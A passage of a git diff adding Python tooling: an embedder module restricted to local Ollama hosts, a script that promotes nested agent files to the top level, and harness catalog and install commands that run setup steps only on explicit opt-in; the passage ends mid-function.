+(``sentence_transformers``, ``requests``) happen lazily inside the concrete
+class to keep the module cheap to import.
+
+Security:
+
+  ``OllamaEmbedder`` only talks to a locally-bound host (localhost /
+  127.0.0.1 / ::1) to prevent SSRF via a poisoned config pointing the
+  embedder at internal metadata endpoints. Non-http(s) schemes are
+  rejected. To reach a non-local ollama deployment, callers must opt in
+  explicitly by passing ``allow_remote=True`` — this is a deliberate
+  friction surface.
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass, field
+from typing import Any, Protocol, Sequence, runtime_checkable
+from urllib.parse import urlparse
+
+import numpy as np
+
+
+DEFAULT_ST_MODEL = "sentence-transformers/all-MiniLM-L6-v2"
+DEFAULT_OLLAMA_MODEL = "nomic-embed-text"
+DEFAULT_OLLAMA_URL = "http://localhost:11434"
+
+# Output dim of nomic-embed-text at the version tested against. Kept as
+# a named constant so a future upstream dim change only needs one edit.
+_NOMIC_EMBED_TEXT_DIM = 768
+_LOCAL_HOSTS = frozenset({"localhost", "127.0.0.1", "::1"})
+
+
+@runtime_checkable
+class Embedder(Protocol):
+    """One method: embed a batch of texts to a 2-D float32 matrix.
+
+    ``dim`` and ``name`` are declared as ``@property`` so implementations are
+    free to compute them lazily — important because models can be expensive
+    to load and callers shouldn't pay that cost just to introspect metadata.
+    """
+
+    @property
+    def dim(self) -> int: ...
+
+    @property
+    def name(self) -> str: ...
+
+    def embed(self, texts: Sequence[str]) -> np.ndarray: ...
+
+
+def _l2_normalize(mat: np.ndarray) -> np.ndarray:
+    """Row-wise L2 normalisation with zero-vector safety."""
+    norms = np.linalg.norm(mat, axis=1, keepdims=True)
+    norms = np.where(norms == 0.0, 1.0, norms)
+    return (mat / norms).astype(np.float32, copy=False)
+
+
+@dataclass
+class SentenceTransformerEmbedder:
+    """Local-only embedder; loads the model on first ``embed`` call."""
+
+    model_name: str = DEFAULT_ST_MODEL
+    # ``init=False`` keeps the lazy model out of the generated __init__
+    # so callers can't inject a fake model via the constructor.
+    _model: Any = field(init=False, default=None, repr=False, compare=False)
+
+    @property
+    def name(self) -> str:
+        return f"sentence-transformers:{self.model_name}"
+
+    @property
+    def dim(self) -> int:
+        # Returns -1 until the model has been loaded (first ``embed`` call).
+        # This keeps the attribute cheap to touch — important for
+        # ``runtime_checkable`` ``Protocol`` ``isinstance`` checks, which call
+        # ``hasattr`` on every declared attribute.
+        if self._model is None:
+            return -1
+        return int(self._model.get_sentence_embedding_dimension())
+
+    def _ensure_loaded(self) -> None:
+        if self._model is not None:
+            return
+        try:
+            from sentence_transformers import SentenceTransformer  # type: ignore[import-not-found]
+        except ImportError as exc:
+            raise RuntimeError(
+                "sentence-transformers is not installed; "
+                "pip install sentence-transformers or switch intake.embedding.backend "
+                "to 'ollama'"
+            ) from exc
+        self._model = SentenceTransformer(self.model_name)
+
+    def embed(self, texts: Sequence[str]) -> np.ndarray:
+        if not texts:
+            return np.zeros((0, 0), dtype=np.float32)
+        self._ensure_loaded()
+        vecs = self._model.encode(
+            list(texts),
+            convert_to_numpy=True,
+            normalize_embeddings=False,
+            show_progress_bar=False,
+        )
+        return _l2_normalize(np.asarray(vecs, dtype=np.float32))
+
+
+class OllamaEmbedderError(RuntimeError):
+    """Raised when an Ollama request fails. Carries the failing text index."""
+
+    def __init__(self, index: int, message: str) -> None:
+        super().__init__(f"[text #{index}] {message}")
+        self.index = index
+
+
+@dataclass
+class OllamaEmbedder:
+    """HTTP-backed embedder for a local ollama daemon. Opt-in.
+
+    Partial failures fail fast: if text *k* of *N* errors, an
+    ``OllamaEmbedderError`` is raised with ``.index == k`` and no
+    partial batch is returned. Callers who want best-effort behaviour
+    must wrap single-text calls themselves.
+    """
+
+    model_name: str = DEFAULT_OLLAMA_MODEL
+    base_url: str = DEFAULT_OLLAMA_URL
+    timeout: float = 30.0
+    allow_remote: bool = False
+
+    def __post_init__(self) -> None:
+        parsed = urlparse(self.base_url)
+        if parsed.scheme not in ("http", "https"):
+            raise ValueError(
+                f"base_url scheme must be http or https: {self.base_url!r}"
+            )
+        host = (parsed.hostname or "").lower()
+        if not host:
+            raise ValueError(f"base_url has no host: {self.base_url!r}")
+        if not self.allow_remote and host not in _LOCAL_HOSTS:
+            raise ValueError(
+                f"base_url host {host!r} is not local; pass allow_remote=True "
+                f"to explicitly allow a remote ollama instance"
+            )
+
+    @property
+    def name(self) -> str:
+        return f"ollama:{self.model_name}"
+
+    @property
+    def dim(self) -> int:
+        # Only known after the first successful call; nomic-embed-text's
+        # output dim is stable at the version we test against. Callers
+        # that need dim up front should do a one-token warmup embed.
+        return _NOMIC_EMBED_TEXT_DIM if self.model_name == DEFAULT_OLLAMA_MODEL else -1
+
+    def embed(self, texts: Sequence[str]) -> np.ndarray:
+        if not texts:
+            return np.zeros((0, 0), dtype=np.float32)
+        try:
+            import requests  # type: ignore[import-untyped]
+        except ImportError as exc:
+            raise RuntimeError(
+                "requests is required for the ollama backend; pip install requests"
+            ) from exc
+
+        url = f"{self.base_url.rstrip('/')}/api/embeddings"
+        rows: list[list[float]] = []
+        for idx, text in enumerate(texts):
+            try:
+                resp = requests.post(
+                    url,
+                    json={"model": self.model_name, "prompt": text},
+                    timeout=self.timeout,
+                )
+                resp.raise_for_status()
+                payload = resp.json()
+            except Exception as exc:
+                raise OllamaEmbedderError(idx, str(exc)) from exc
+            if "embedding" not in payload:
+                raise OllamaEmbedderError(
+                    idx, f"response missing 'embedding' key: {payload!r}"
+                )
+            rows.append(payload["embedding"])
+        return _l2_normalize(np.asarray(rows, dtype=np.float32))
+
+
+def get_embedder(
+    backend: str = "sentence-transformers",
+    *,
+    model: str | None = None,
+    base_url: str | None = None,
+    allow_remote: bool = False,
+) -> Embedder:
+    """Factory: map a backend name to a concrete ``Embedder``.
+
+    The default is ``sentence-transformers`` (no external daemon required).
+    ``ollama`` is opt-in and requires the user to have ollama running with the
+    chosen model pulled. ``allow_remote`` must be set explicitly to reach a
+    non-local ollama host.
+    """
+    key = (backend or "").strip().lower()
+    if key in ("", "sentence-transformers", "st", "sbert"):
+        return SentenceTransformerEmbedder(model_name=model or DEFAULT_ST_MODEL)
+    if key in ("ollama", "ol"):
+        return OllamaEmbedder(
+            model_name=model or DEFAULT_OLLAMA_MODEL,
+            base_url=base_url or os.environ.get("OLLAMA_URL", DEFAULT_OLLAMA_URL),
+            allow_remote=allow_remote,
+        )
+    raise ValueError(
+        f"unknown embedding backend {backend!r}; expected "
+        f"'sentence-transformers' or 'ollama'"
+    )
diff --git a/src/flatten_agents.py b/src/flatten_agents.py
new file mode 100644
index 0000000000000000000000000000000000000000..893b3a7c2e1bbc05211e57d8c3125e95db7331e2
--- /dev/null
+++ b/src/flatten_agents.py
@@ -0,0 +1,125 @@
+#!/usr/bin/env python3
+"""
+flatten_agents.py -- Promote every nested agent to a top-level sibling.
+
+Claude Code's /agents Library tab auto-discovers ONLY top-level .md files in
+~/.claude/agents/. Agents living in category subdirs (design/, engineering/,
+game-development/, etc.) are invisible to the Library — there are 169 such
+orphans across 15 folders.
+
+This script walks ~/.claude/agents/ and for every nested .md file with YAML
+frontmatter containing a `name:` field (i.e. a real agent, not a reference
+note), it writes a sibling copy at the top level. The original nested file is
+left untouched so existing references still resolve.
+
+Safety:
+- Skips files with no frontmatter (reference notes, includes).
+- Skips if a sibling with the same basename already exists (no collision risk
+  — verified at time of writing, but re-checked here).
+- Dry-run by default; pass --apply to actually write.
+
+Usage:
+  python src/flatten_agents.py              # dry run, print plan
+  python src/flatten_agents.py --apply      # perform the flatten
+  python src/flatten_agents.py --apply -v   # verbose
+"""
+
+from __future__ import annotations
+
+import argparse
+import shutil
+import sys
+from pathlib import Path
+
+AGENTS_DIR = Path.home() / ".claude" / "agents"
+
+
+def has_name_frontmatter(path: Path) -> bool:
+    """Return True if the file opens with YAML frontmatter containing `name:`."""
+    try:
+        with path.open(encoding="utf-8", errors="replace") as fh:
+            first = fh.readline().rstrip("\r\n")
+            if first != "---":
+                return False
+            for line in fh:
+                stripped = line.rstrip("\r\n")
+                if stripped == "---":
+                    return False
+                if stripped.startswith("name:"):
+                    return True
+        return False
+    except OSError:
+        return False
+
+
+def plan_flatten(agents_dir: Path) -> tuple[list[tuple[Path, Path]], list[str]]:
+    """Return (copy_plan, warnings). copy_plan is list of (src, dst) pairs."""
+    copy_plan: list[tuple[Path, Path]] = []
+    warnings: list[str] = []
+
+    if not agents_dir.exists():
+        warnings.append(f"agents_dir does not exist: {agents_dir}")
+        return copy_plan, warnings
+
+    for md in agents_dir.rglob("*.md"):
+        # Top-level files are already discoverable.
+        if md.parent == agents_dir:
+            continue
+        if not has_name_frontmatter(md):
+            continue
+        dst = agents_dir / md.name
+        if dst.exists():
+            # Don't clobber — flag so humans can resolve.
+            if dst.read_bytes() != md.read_bytes():
+                warnings.append(f"collision (different content): {md} -> {dst}")
+            continue
+        copy_plan.append((md, dst))
+
+    return copy_plan, warnings
+
+
+def apply_plan(plan: list[tuple[Path, Path]], verbose: bool) -> int:
+    copied = 0
+    for src, dst in plan:
+        try:
+            shutil.copy2(src, dst)
+            copied += 1
+            if verbose:
+                print(f"  copied {src.relative_to(AGENTS_DIR)} -> {dst.name}")
+        except OSError as e:
+            print(f"  FAILED {src}: {e}", file=sys.stderr)
+    return copied
+
+
+def main() -> None:
+    parser = argparse.ArgumentParser(description=__doc__)
+    parser.add_argument("--apply", action="store_true", help="actually copy files (default: dry run)")
+    parser.add_argument("-v", "--verbose", action="store_true", help="print each action")
+    parser.add_argument(
+        "--agents-dir",
+        type=Path,
+        default=AGENTS_DIR,
+        help="override agents dir (default: ~/.claude/agents)",
+    )
+    args = parser.parse_args()
+
+    plan, warnings = plan_flatten(args.agents_dir)
+
+    print(f"flatten_agents: {len(plan)} files to promote, {len(warnings)} warnings")
+    for w in warnings:
+        print(f"  warn: {w}", file=sys.stderr)
+
+    if not args.apply:
+        if args.verbose:
+            for src, dst in plan:
+                print(f"  would copy {src.relative_to(args.agents_dir)} -> {dst.name}")
+        print("dry run — pass --apply to perform the flatten")
+        sys.exit(0)
+
+    copied = apply_plan(plan, args.verbose)
+    print(f"done: {copied} agents promoted to top-level siblings")
+    sys.exit(0 if copied == len(plan) else 1)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/harness_add.py b/src/harness_add.py
new file mode 100644
index 0000000000000000000000000000000000000000..b190c281d2b8ebf2e02fc5b1559044b7e81032f1
--- /dev/null
+++ b/src/harness_add.py
@@ -0,0 +1,409 @@
+#!/usr/bin/env python3
+"""Add harness records to the ctx wiki catalog.
+
+Harness records are catalog-only. They describe the runtime machinery around
+a model: where the agent runs, which tools and files it can access, how model
+credentials are supplied, and how work is verified. Adding a harness does not
+install or execute the upstream project.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import sys
+from dataclasses import dataclass, field, replace
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any
+from urllib.parse import urlparse
+
+import yaml  # type: ignore[import-untyped]
+
+from ctx.core.entity_update import build_update_review, render_update_review
+from ctx.core.wiki.wiki_sync import append_log, ensure_wiki, update_index
+from ctx_config import cfg
+from mcp_entity import canonicalize_github_url, normalize_slug
+
+TODAY = datetime.now(timezone.utc).strftime("%Y-%m-%d")
+
+_HARNESS_ENTITY_SUBDIR = "entities/harnesses"
+
+
+def _split_values(raw: object) -> tuple[str, ...]:
+    if raw is None:
+        return ()
+    if isinstance(raw, str):
+        values = raw.split(",")
+    elif isinstance(raw, (list, tuple, set, frozenset)):
+        values = []
+        for item in raw:
+            values.extend(str(item).split(","))
+    else:
+        return ()
+    cleaned: list[str] = []
+    seen: set[str] = set()
+    for value in values:
+        item = value.strip()
+        if item and item not in seen:
+            cleaned.append(item)
+            seen.add(item)
+    return tuple(cleaned)
+
+
+def _normalize_tag_values(raw: object) -> tuple[str, ...]:
+    tags = {
+        normalize_slug(tag)
+        for tag in _split_values(raw)
+        if tag.strip()
+    }
+    return tuple(sorted(tags)) or ("harness", "llm")
+
+
+def _normalize_repo_url(raw: object) -> str:
+    if not isinstance(raw, str) or not raw.strip():
+        raise ValueError("harness record requires a non-empty repo_url")
+    candidate = raw.strip().rstrip("/")
+    github = canonicalize_github_url(candidate)
+    if github is not None:
+        return github
+    parsed = urlparse(candidate)
+    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
+        raise ValueError(f"repo_url must be an http(s) URL: {raw!r}")
+    return candidate
+
+
+def _repo_name(repo_url: str) -> str:
+    parsed = urlparse(repo_url)
+    path = parsed.path.rstrip("/")
+    last_segment = path.rsplit("/", 1)[-1].removesuffix(".git")
+    return last_segment or parsed.netloc
+
+
+def _display_name_from_repo(repo_url: str) -> str:
+    return _repo_name(repo_url).replace("-", " ").replace("_", " ").title()
+
+
+def _description(raw: object, repo_url: str) -> str:
+    if isinstance(raw, str) and raw.strip():
+        return raw.strip()
+    return f"Harness catalog entry for {repo_url}."
+
+
+def _optional_url(raw: object) -> str | None:
+    if not isinstance(raw, str) or not raw.strip():
+        return None
+    candidate = raw.strip()
+    parsed = urlparse(candidate)
+    if parsed.scheme not in {"http", "https"} or not parsed.netloc:
+        raise ValueError(f"docs_url must be an http(s) URL: {raw!r}")
+    return candidate
+
+
+@dataclass(frozen=True)
+class HarnessRecord:
+    slug: str
+    name: str
+    description: str
+    repo_url: str
+    docs_url: str | None = None
+    tags: tuple[str, ...] = ("harness", "llm")
+    model_providers: tuple[str, ...] = ()
+    runtimes: tuple[str, ...] = ()
+    capabilities: tuple[str, ...] = ()
+    setup_commands: tuple[str, ...] = ()
+    verify_commands: tuple[str, ...] = ()
+    sources: tuple[str, ...] = ("manual",)
+    raw: dict[str, Any] = field(default_factory=dict)
+
+    @classmethod
+    def from_dict(cls, data: dict[str, Any]) -> HarnessRecord:
+        if not isinstance(data, dict):
+            raise ValueError(f"from_dict expected dict, got {type(data).__name__}")
+
+        repo_url = _normalize_repo_url(data.get("repo_url") or data.get("repo"))
+        name_value = data.get("name")
+        name = (
+            name_value.strip()
+            if isinstance(name_value, str) and name_value.strip()
+            else _display_name_from_repo(repo_url)
+        )
+        slug_source = data.get("slug") or name or _repo_name(repo_url)
+        slug = normalize_slug(str(slug_source))
+
+        return cls(
+            slug=slug,
+            name=name,
+            description=_description(data.get("description"), repo_url),
+            repo_url=repo_url,
+            docs_url=_optional_url(data.get("docs_url")),
+            tags=_normalize_tag_values(data.get("tags")),
+            model_providers=_split_values(data.get("model_providers")),
+            runtimes=_split_values(data.get("runtimes")),
+            capabilities=_split_values(data.get("capabilities")),
+            setup_commands=_split_values(data.get("setup_commands")),
+            verify_commands=_split_values(data.get("verify_commands")),
+            sources=_split_values(data.get("sources")) or ("manual",),
+            raw=dict(data),
+        )
+
+    def to_frontmatter(self, *, created: str | None = None) -> dict[str, Any]:
+        fm: dict[str, Any] = {
+            "title": self.name,
+            "created": created or TODAY,
+            "updated": TODAY,
+            "type": "harness",
+            "status": "cataloged",
+            "tags": list(self.tags),
+            "repo_url": self.repo_url,
+            "sources": list(self.sources),
+            "model_providers": list(self.model_providers),
+            "runtimes": list(self.runtimes),
+            "capabilities": list(self.capabilities),
+            "setup_commands": list(self.setup_commands),
+            "verify_commands": list(self.verify_commands),
+        }
+        if self.docs_url:
+            fm["docs_url"] = self.docs_url
+        return fm
+
+
+def _parse_frontmatter(text: str) -> dict[str, Any]:
+    match = re.match(r"^---\n(.*?\n)---\n", text, re.DOTALL)
+    if not match:
+        return {}
+    try:
+        parsed = yaml.safe_load(match.group(1))
+        return parsed if isinstance(parsed, dict) else {}
+    except yaml.YAMLError:
+        return {}
+
+
+def _markdown_list(items: tuple[str, ...], empty: str) -> str:
+    return "\n".join(f"- {item}" for item in items) if items else f"- {empty}"
+
+
+def _command_block(commands: tuple[str, ...], empty: str) -> str:
+    if not commands:
+        return empty
+    body = "\n".join(commands)
+    return f"```bash\n{body}\n```"
+
+
+def generate_harness_page(record: HarnessRecord, *, created: str | None = None) -> str:
+    frontmatter = yaml.safe_dump(
+        record.to_frontmatter(created=created),
+        default_flow_style=False,
+        allow_unicode=True,
+        sort_keys=False,
+    )
+    docs_line = f"- [Documentation]({record.docs_url})\n" if record.docs_url else ""
+    source_lines = f"- [Repository]({record.repo_url})\n{docs_line}".rstrip()
+
+    return f"""---
+{frontmatter}---
+
+# {record.name}
+
+## Overview
+
+{record.description}
+
+## When to Recommend
+
+{_markdown_list(record.capabilities, "Use when the project needs this harness profile.")}
+
+## Model Providers
+
+{_markdown_list(record.model_providers, "No explicit provider constraints cataloged.")}
+
+## Runtimes
+
+{_markdown_list(record.runtimes, "No explicit runtime constraints cataloged.")}
+
+## Setup
+
+{_command_block(record.setup_commands, "Read the upstream repository before installing.")}
+
+## Verification
+
+{_command_block(record.verify_commands, "No verification command cataloged.")}
+
+## Sources
+
+{source_lines}
+
+## Related Harnesses
+
+
+"""
+
+
+def _merge_sources(
+    existing_fm: dict[str, Any],
+    new_sources: tuple[str, ...],
+) -> tuple[str, ...]:
+    existing = existing_fm.get("sources", []) or []
+    return tuple(sorted(set(str(source) for source in existing) | set(new_sources)))
+
+
+def add_harness(
+    *,
+    record: HarnessRecord,
+    wiki_path: Path,
+    dry_run: bool = False,
+    skip_existing: bool = False,
+    review_existing: bool = False,
+    update_existing: bool = False,
+) -> dict[str, Any]:
+    target_path = wiki_path / _HARNESS_ENTITY_SUBDIR / f"{record.slug}.md"
+    is_new_page = not target_path.exists()
+
+    if skip_existing and not is_new_page:
+        return {
+            "slug": record.slug,
+            "is_new_page": False,
+            "skipped": True,
+            "path": str(target_path),
+            "sources": list(record.sources),
+        }
+
+    existing_fm: dict[str, Any] = {}
+    existing_text = ""
+    created = TODAY
+    merged_sources = record.sources
+    if target_path.exists():
+        existing_text = target_path.read_text(encoding="utf-8", errors="replace")
+        existing_fm = _parse_frontmatter(existing_text)
+        created = str(existing_fm.get("created") or TODAY)
+        merged_sources = _merge_sources(existing_fm, record.sources)
+
+    final_record = replace(record, sources=merged_sources)
+    proposed_text = generate_harness_page(final_record, created=created)
+
+    if review_existing and not is_new_page and not update_existing:
+        review = build_update_review(
+            entity_type="harness",
+            slug=record.slug,
+            existing_text=existing_text,
+            proposed_text=proposed_text,
+        )
+        return {
+            "slug": record.slug,
+            "is_new_page": False,
+            "skipped": True,
+            "update_required": True,
+            "update_review": render_update_review(review),
+            "path": str(target_path),
+            "sources": list(merged_sources),
+        }
+
+    if not dry_run:
+        ensure_wiki(str(wiki_path))
+        target_path.parent.mkdir(parents=True, exist_ok=True)
+        target_path.write_text(proposed_text, encoding="utf-8")
+        if is_new_page:
+            update_index(str(wiki_path), [record.slug], subject_type="harnesses")
+        append_log(
+            str(wiki_path),
+            "add-harness",
+            record.slug,
+            [
+                f"Repository: {record.repo_url}",
+                f"Sources: {', '.join(merged_sources)}",
+                f"Tags: {', '.join(record.tags)}",
+            ],
+        )
+
+    return {
+        "slug": record.slug,
+        "is_new_page": is_new_page,
+        "skipped": False,
+        "update_required": False,
+        "path": str(target_path),
+        "sources": list(merged_sources),
+    }
+
+
+def _record_from_args(args: argparse.Namespace) -> HarnessRecord:
+    return HarnessRecord.from_dict(
+        {
+            "repo_url": args.repo,
+            "slug": args.slug,
+            "name": args.name,
+            "description": args.description,
+            "docs_url": args.docs_url,
+            "tags": args.tag,
+            "model_providers": args.model_provider,
+            "runtimes": args.runtime,
+            "capabilities": args.capability,
+            "setup_commands": args.setup_command,
+            "verify_commands": args.verify_command,
+            "sources": args.source,
+        }
+    )
+
+
+def _load_json_record(path: Path) -> HarnessRecord:
+    data = json.loads(path.read_text(encoding="utf-8"))
+    return HarnessRecord.from_dict(data)
+
+
+def main(argv: list[str] | None = None) -> None:
+    parser = argparse.ArgumentParser(description="Add a harness wiki catalog entry")
+    parser.add_argument("--repo", help="Harness repository URL")
+    parser.add_argument("--from-json", help="Load one harness record from JSON")
+    parser.add_argument("--slug", help="Explicit harness slug")
+    parser.add_argument("--name", help="Display name")
+    parser.add_argument("--description", help="Short recommendation description")
+    parser.add_argument("--docs-url", help="Documentation URL")
+    parser.add_argument("--tag", action="append", help="Tag, repeatable or comma-separated")
+    parser.add_argument("--model-provider", action="append", help="Supported provider")
+    parser.add_argument("--runtime", action="append", help="Runtime, repeatable")
+    parser.add_argument("--capability", action="append", help="When to recommend it")
+    parser.add_argument("--setup-command", action="append", help="Setup command to document")
+    parser.add_argument("--verify-command", action="append", help="Verification command")
+    parser.add_argument("--source", action="append", default=["manual"], help="Catalog source")
+    parser.add_argument("--wiki", default=str(cfg.wiki_dir), help="Wiki path")
+    parser.add_argument("--dry-run", action="store_true", help="Preview without writing")
+    parser.add_argument("--skip-existing", action="store_true", help="Do not rewrite existing page")
+    parser.add_argument(
+        "--update-existing",
+        action="store_true",
+        help="Apply the reviewed replacement when the harness already exists",
+    )
+    args = parser.parse_args(argv)
+
+    if bool(args.repo) == bool(args.from_json):
+        parser.error("use exactly one of --repo or --from-json")
+
+    try:
+        record = (
+            _load_json_record(Path(os.path.expanduser(args.from_json)))
+            if args.from_json
+            else _record_from_args(args)
+        )
+        result = add_harness(
+            record=record,
+            wiki_path=Path(os.path.expanduser(args.wiki)),
+            dry_run=args.dry_run,
+            skip_existing=args.skip_existing,
+            review_existing=True,
+            update_existing=args.update_existing,
+        )
+    except Exception as exc:  # noqa: BLE001
+        print(f"Error: {exc}", file=sys.stderr)
+        sys.exit(1)
+
+    action = "would add" if args.dry_run else "added"
+    if result["skipped"]:
+        action = "skipped"
+    if result.get("update_review"):
+        print(result["update_review"])
+    print(f"{action}: {result['slug']} -> {result['path']}")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/harness_install.py b/src/harness_install.py
new file mode 100644
index 0000000000000000000000000000000000000000..64aa23b7e889e1f63e0a744988a98a333a0cd912
--- /dev/null
+++ b/src/harness_install.py
@@ -0,0 +1,562 @@
+#!/usr/bin/env python3
+"""Install cataloged harnesses from the ctx wiki.
+
+Harness installation is intentionally conservative. A harness page may document
+setup and verification commands, but this command never runs those commands
+unless the user explicitly opts in with ``--approve-commands`` and
+``--run-verify``.
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import shlex
+import shutil
+import subprocess
+import sys
+import time
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any
+from urllib.parse import unquote, urlparse
+
+from ctx.core.entity_types import entity_page_path
+from ctx.core.wiki.wiki_utils import parse_frontmatter_and_body, validate_skill_name
+from ctx_config import cfg
+
+
+@dataclass(frozen=True)
+class HarnessRecord:
+    slug: str
+    path: Path
+    title: str
+    repo_url: str
+    docs_url: str | None
+    tags: tuple[str, ...]
+    runtimes: tuple[str, ...]
+    model_providers: tuple[str, ...]
+    capabilities: tuple[str, ...]
+    setup_commands: tuple[str, ...]
+    verify_commands: tuple[str, ...]
+
+
+@dataclass(frozen=True)
+class InstallResult:
+    slug: str
+    status: str
+    target: Path | None = None
+    manifest_path: Path | None = None
+    message: str = ""
+
+
+def _as_tuple(raw: object) -> tuple[str, ...]:
+    if raw is None:
+        return ()
+    if isinstance(raw, str):
+        return (raw,) if raw.strip() else ()
+    if isinstance(raw, (list, tuple, set, frozenset)):
+        return tuple(str(item) for item in raw if str(item).strip())
+    return ()
+
+
+def _load_page(path: Path, slug: str) -> HarnessRecord:
+    text = path.read_text(encoding="utf-8", errors="replace")
+    fm, _body = parse_frontmatter_and_body(text)
+    repo_url = str(fm.get("repo_url") or "").strip()
+    if not repo_url:
+        raise ValueError(f"harness page {path} has no repo_url")
+    return HarnessRecord(
+        slug=slug,
+        path=path,
+        title=str(fm.get("title") or slug),
+        repo_url=repo_url,
+        docs_url=str(fm["docs_url"]) if fm.get("docs_url") else None,
+        tags=_as_tuple(fm.get("tags")),
+        runtimes=_as_tuple(fm.get("runtimes")),
+        model_providers=_as_tuple(fm.get("model_providers")),
+        capabilities=_as_tuple(fm.get("capabilities")),
+        setup_commands=_as_tuple(fm.get("setup_commands")),
+        verify_commands=_as_tuple(fm.get("verify_commands")),
+    )
+
+
+def _repo_key(raw: str) -> str:
+    value = raw.strip().removesuffix(".git").rstrip("/")
+    parsed = urlparse(value)
+    if parsed.scheme in {"http", "https"}:
+        return f"{parsed.netloc.lower()}{parsed.path.lower().rstrip('/')}"
+    return value.lower()
+
+
+def _is_repo_identifier(identifier: str) -> bool:
+    parsed = urlparse(identifier)
+    return parsed.scheme in {"http", "https"}
+
+
+def resolve_harness(identifier: str, *, wiki_path: Path) -> HarnessRecord:
+    """Resolve a harness page by slug or repository URL."""
+    value = identifier.strip()
+    if not value:
+        raise LookupError("harness identifier must be non-empty")
+
+    if _is_repo_identifier(value):
+        wanted = _repo_key(value)
+        harness_dir = wiki_path / "entities" / "harnesses"
+        for path in sorted(harness_dir.glob("*.md")):
+            record = _load_page(path, path.stem)
+            if _repo_key(record.repo_url) == wanted:
+                return record
+        raise LookupError(f"no harness catalog entry for repo {identifier!r}")
+
+    validate_skill_name(value)
+    page = entity_page_path(wiki_path, "harness", value)
+    if page is None or not page.is_file():
+        raise LookupError(f"no harness catalog entry for slug {value!r}")
+    return _load_page(page, value)
+
+
+def _default_installs_root() -> Path:
+    return cfg.claude_dir / "harnesses"
+
+
+def _default_manifest_dir() -> Path:
+    return cfg.claude_dir / "harness-installs"
+
+
+def _is_within(path: Path, root: Path) -> bool:
+    try:
+        path.relative_to(root)
+        return True
+    except ValueError:
+        return False
+
+
+def _resolve_target(
+    *,
+    slug: str,
+    installs_root: Path,
+    target: Path | None,
+) -> Path:
+    root = installs_root.expanduser().resolve()
+    chosen = (target.expanduser() if target is not None else root / slug).resolve()
+    if not _is_within(chosen, root):
+        raise ValueError(f"target must stay under installs root {root}")
+    return chosen
+
+
+def render_plan(record: HarnessRecord, *, target: Path) -> str:
+    lines = [
+        f"Harness: {record.title}",
+        f"Slug: {record.slug}",
+        f"Repository: {record.repo_url}",
+        f"Target: {target}",
+    ]
+    if record.docs_url:
+        lines.append(f"Docs: {record.docs_url}")
+    if record.tags:
+        lines.append(f"Tags: {', '.join(record.tags)}")
+    if record.runtimes:
+        lines.append(f"Runtimes: {', '.join(record.runtimes)}")
+    if record.model_providers:
+        lines.append(f"Model providers: {', '.join(record.model_providers)}")
+    if record.setup_commands:
+        lines.append("Setup commands:")
+        lines.extend(f"  - {cmd}" for cmd in record.setup_commands)
+    if record.verify_commands:
+        lines.append("Verify commands:")
+        lines.extend(f"  - {cmd}" for cmd in record.verify_commands)
+    lines.append(
+        "Commands are not executed unless --approve-commands/--run-verify are set."
+    )
+    return "\n".join(lines)
+
+
+def _local_source_from_repo_url(repo_url: str) -> Path | None:
+    parsed = urlparse(repo_url)
+    if parsed.scheme == "file":
+        return Path(unquote(parsed.path))
+    candidate = Path(repo_url).expanduser()
+    return candidate if candidate.exists() else None
+
+
+def _materialize_source(record: HarnessRecord, target: Path) -> None:
+    target.parent.mkdir(parents=True, exist_ok=True)
+    local_source = _local_source_from_repo_url(record.repo_url)
+    if local_source is not None:
+        shutil.copytree(local_source, target)
+        return
+
+    proc = subprocess.run(
+        ["git", "clone", "--depth", "1", record.repo_url, str(target)],
+        capture_output=True,
+        text=True,
+        check=False,
+        timeout=300,
+    )
+    if proc.returncode != 0:
+        stderr = proc.stderr.strip() or proc.stdout.strip()
+        raise RuntimeError(f"git clone failed: {stderr}")
+
+
+def _run_command(command: str, *, cwd: Path) -> dict[str, Any]:
+    tokens = shlex.split(command)
+    if not tokens:
+        raise ValueError("empty harness command")
+    started = time.time()
+    proc = subprocess.run(
+        tokens,
+        cwd=str(cwd),
+        capture_output=True,
+        text=True,
+        check=False,
+        timeout=600,
+    )
+    return {
+        "command": command,
+        "returncode": proc.returncode,
+        "stdout": proc.stdout[-4000:],
+        "stderr": proc.stderr[-4000:],
+        "duration_seconds": round(time.time() - started, 3),
+    }
+
+
+def _write_manifest(
+    *,
+    record: HarnessRecord,
+    target: Path,
+    manifest_dir: Path,
+    setup_runs: list[dict[str, Any]],
+    verify_runs: list[dict[str, Any]],
+) -> Path:
+    manifest_dir.mkdir(parents=True, exist_ok=True)
+    path = manifest_dir / f"{record.slug}.json"
+    payload = {
+        "slug": record.slug,
+        "status": "installed",
+        "repo_url": record.repo_url,
+        "target": str(target),
+        "installed_at": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
+        "setup_commands_run": setup_runs,
+        "verify_commands_run": verify_runs,
+    }
+    path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8")
+    return path
+
+
+def _manifest_path(manifest_dir: Path, slug: str) -> Path:
+    validate_skill_name(slug)
+    return manifest_dir / f"{slug}.json"
+
+
+def _read_manifest(manifest_dir: Path, slug: str) -> dict[str, Any]:
+    path = _manifest_path(manifest_dir, slug)
+    if not path.is_file():
+        raise LookupError(f"harness {slug!r} is not installed")
+    data = json.loads(path.read_text(encoding="utf-8"))
+    if not isinstance(data, dict):
+        raise ValueError(f"install manifest {path} is not an object")
+    return data
+
+
+def install_harness(
+    identifier: str,
+    *,
+    wiki_path: Path,
+    installs_root: Path,
+    manifest_dir: Path,
+    target: Path | None = None,
+    dry_run: bool = False,
+    force: bool = False,
+    approve_commands: bool = False,
+    run_verify: bool = False,
+) -> InstallResult:
+    try:
+        record = resolve_harness(identifier, wiki_path=wiki_path)
+    except Exception as exc:  # noqa: BLE001
+        return InstallResult(
+            slug=identifier,
+            status="not-found",
+            message=str(exc),
+        )
+
+    try:
+        target_path = _resolve_target(
+            slug=record.slug,
+            installs_root=installs_root,
+            target=target,
+        )
+    except ValueError as exc:
+        return InstallResult(
+            slug=record.slug,
+            status="invalid-target",
+            message=str(exc),
+        )
+
+    print(render_plan(record, target=target_path))
+    if dry_run:
+        return InstallResult(record.slug, "dry-run", target=target_path)
+
+    if target_path.exists():
